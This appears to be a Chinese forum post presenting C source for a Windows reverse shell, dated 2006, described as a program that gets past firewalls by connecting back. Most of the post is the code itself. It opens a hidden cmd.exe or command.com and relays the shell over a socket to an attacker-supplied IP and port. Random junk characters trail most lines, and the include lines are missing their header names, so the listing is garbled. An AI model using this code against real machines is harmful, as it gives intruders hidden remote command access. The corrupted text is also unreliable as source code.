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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8M8Odz\3 q  
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/* ============================== FqXE6^  
Rebound port in Windows NT W=\45BJ  
By wind,2006/7 +D d !  
===============================*/ A&D<}y/%  
#include C zb: nyRj  
#include 6d/1PGB  
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#pragma comment(lib,"wsock32.lib") O 4'/C]B 2  
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void OutputShell(); !Wz4BBU8o  
SOCKET sClient; `CY c>n"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WYd9p;k  
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void main(int argc,char **argv) vq:?a  
{ 0^K2"De  
WSADATA stWsaData; a[@Y >  
int nRet; rk &ME#<r  
SOCKADDR_IN stSaiClient,stSaiServer; 7\[)5j  
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if(argc != 3) i$lp8Y2ih  
{ 4)?s?+  
printf("Useage:\n\rRebound DestIP DestPort\n"); RwUosh\W  
return; TW-^C ;  
} N^4CA@'{  
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WSAStartup(MAKEWORD(2,2),&stWsaData); sQBKzvFO3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jr/IU=u*v  
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stSaiClient.sin_family = AF_INET; $V,ZH* g  
stSaiClient.sin_port = htons(0); m,V"S(A  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q%x-BZb~  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "xAIK  
{ TlD^EJG  
printf("Bind Socket Failed!\n"); OM?FpRVU8  
return; F+)g!NQZ  
} jwmPy)X|s\  
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stSaiServer.sin_family = AF_INET; {Kz!)uaC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZC"a#rQ   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q[)3r ,D  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8(g}/%1mt3  
{ V-dyeb  
printf("Connect Error!"); _6-N+FI  
return; c!N#nt_<  
} 7n]ukqZ  
OutputShell();  lofP$  
} X}g"_wN,g>  
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void OutputShell() 2`J#)f|  
{ ( 'Ha$O72  
char szBuff[1024]; x27$h)R0v  
SECURITY_ATTRIBUTES stSecurityAttributes; )v\ A8)[  
OSVERSIONINFO stOsversionInfo; `6<Qb=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <Vl`EfA(  
STARTUPINFO stStartupInfo; <l5s[  
char *szShell; T%4yPmY  
PROCESS_INFORMATION stProcessInformation; >4bWXb'S}C  
unsigned long lBytesRead; o:`^1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); PLq]\y  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g%okYH?  
stSecurityAttributes.lpSecurityDescriptor = 0; >Se-5QtLcf  
stSecurityAttributes.bInheritHandle = TRUE; Kx02 2rgDU  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W@RD bsc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z-3("%_$/  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w|f@sB>j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u)vS,dzu  
stStartupInfo.wShowWindow = SW_HIDE; IZuP{7p$  
stStartupInfo.hStdInput = hReadPipe; +I+RNXR/{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }U?:al/m  
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GetVersionEx(&stOsversionInfo); [9yd29pQ]  
; W$.>*O  
switch(stOsversionInfo.dwPlatformId) .E;}.X  
{ Ld 0j!II(  
case 1: |Xmzq X%  
szShell = "command.com"; -Gjz+cRns  
break; qv[w 1;U"  
default: GJ:oUi  
szShell = "cmd.exe"; [8>#b_>  
break; J;ycAF~  
} z{/#/,V5D4  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vAjog])9s  
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send(sClient,szMsg,77,0); mR~S$6cc  
while(1) JFq<sY!  
{ =3PZGdWD  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lo-VfKvy  
if(lBytesRead) }(oWXwFb&W  
{ xeKm} MN]S  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,YRBYK:  
send(sClient,szBuff,lBytesRead,0); 8%p+:6kP5  
} ),H1z`c&I  
else <) -]'@*c  
{ 5=  V29  
lBytesRead=recv(sClient,szBuff,1024,0); SNf~%B?`L  
if(lBytesRead<=0) break; 5"bg 8hL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [AYJ(H/  
} zb s7G  
} VVfTFi<  
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return; (yoF  
}
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